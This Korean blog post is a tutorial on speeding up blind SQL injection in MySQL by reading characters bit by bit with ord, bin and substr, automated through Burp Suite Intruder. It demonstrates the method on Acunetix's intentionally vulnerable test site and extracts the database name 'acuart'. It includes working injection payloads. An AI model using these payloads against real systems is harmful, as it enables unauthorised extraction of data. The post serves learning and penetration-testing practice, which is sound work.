Bit operation을 이용하여 버프스위트의 Intruder 기능으로 간단하게 DB를 추출할 수있는 방법을 알아봅시다.
Bit operation
항상 Binary Search를 이용하여 Blind SQLi 스크립트를 를 만들었는데 드림핵 강의를 통해 MySQL DB에서 Bit operation을 이용해도 되는 것을 알게되었습니다
Blind SQLi With Bit operation
Binary Search나 Bit operation을 이용하여 Blind SQLi를 하는 이유는 속도 차이가 크기때문에 사용합니다. 일반적으로 운영중인 DB의 안에있는 데이터들 매우 많기 때문에 이를 하나하나 가져오기 위해서는 많은 시간이 걸리기 때문에 데이터를 찾아야하는 속도가 중요가 중요합니다.
💡 Bit operation을 이용하면 한글자당 7번 만에 알 수있기에 빠르게 데이터를 가져올 수 있습니다.
MYSQL의 ord , bin 함수를 이용하여 문자 -> ASCII -> Bit로 변환을 시킬수 있습니다. 하나의 문자는 7개의 비트(0,1)으로 나타낼 수 있습니다.
1
2
3
4
5
6
SELECT bin(ord('A'));
+---------------+
| bin(ord('A')) |
+---------------+
| 1000001 |
+---------------+
substr 함수를 이용하여 문자열을 잘라낼 수 있습니다.
1
SUBSTR(string(문자열), start(시작위치), length(길이))
1
2
3
4
5
6
SELECT substr("BlueWings",1,1);
+--------------------------+
| substr("BlueWings",1,1); |
+--------------------------+
| B |
+--------------------------+
Contain DB Name
test는 acunetix의 취약한 페이지로 진행을 하였습니다.
Step 1. Find Blind SQLi point
제일 먼저 Blind SQLi가 가능한 포인트를 찾아야 합니다.
참인 쿼리( +and+1=1 ) 를 넣었을때 Posters 의 내용이 확인이 가능합니다.
반면 거짓인 쿼리( +and+1=2 ) 를 넣었을때 Posters 의 내용이 확인이 불가능합니다.
Step 2. PoC 만들기
ord, bin, substr, DATABASE() 을 이용하여 DB Name을 가져오는 Payload를 만들어야합니다.
제일 먼저 사용중인 DB의 길이를 확인합니다. DB의길이는 6입니다.
1
1+and+(select+LENGTH(DATABASE()))=6
PoC 만들기 7번을 돌려 1글자를 추출할수 있으며, 6글자는 42번을 돌리면 DB의 이름을 알아낼 수 있습니다.
1
1+and+(select+substr(bin(ord(substr(DATABASE(),1,1))),1,1))=1
Step 3. BurpSuite 인투르더
💡 버프스위트의 인투르더 기능을 사용할 때 중요한 포인트는 DB이름의 글자 위치, 한 글자의 비트 위치 두 곳을 바꿔주어야 합니다.
Cluster Bomb
으로 첫번째 payload에는 DB의 이름 길이(6) 이기 때문에 1~6 까지 넣어주고 두번째 payload 에는 글자당 비트(7) 이므로 1~7 까지 넣어주어야 합니다.
다음은 DB 이름의 1~3번째 위치의 결과 입니다. 참(1)인 경우 8097, 거짓(0)인 경우 4916 Length를 확인할 수 있습니다. 첫번째 위치는 1100001, 두번째는 1100011, 세번째는 1110101 인것을 알 수 있습니다.
Result
| DB 위치 | 결과 | 문자변환 | | :—: | :—: | :—: | | 첫 번째 |1100001 | a| | 두 번째 |1100011 | c| | 세 번째 |1110101 | u| | 네 번째 |1100001 | a| | 다섯 번째 |1110010 | r| | 여섯 번째 |1110100 | t|
사용중인 DB_NAME은 acuart 인것을 확인할 수 있습니다
후기
그동안 Binary Search를 이용해서 뽑았는데 Bit operation으로 뽑아보니 신기했다. 한 글자이상의 문자열에서 ord()를 사용하면 python 에서는 에러가 발생하지만 MYSQL 에서는 맨 앞글자만 ord()가 먹히는 것을 첨 알았다.
업무간 MYSQL에서 SQLi 취약점이 발생했을 때 시간이 부족하거나, DB_NAME만 뽑아달라고 하는 경우 버프스위트의 인투르더를 이용하여 빠르게 뽑을 수 있다 하지만 파이썬 스크립트 만들어 사용할 꺼 같다;;; ㅋㅋㅋ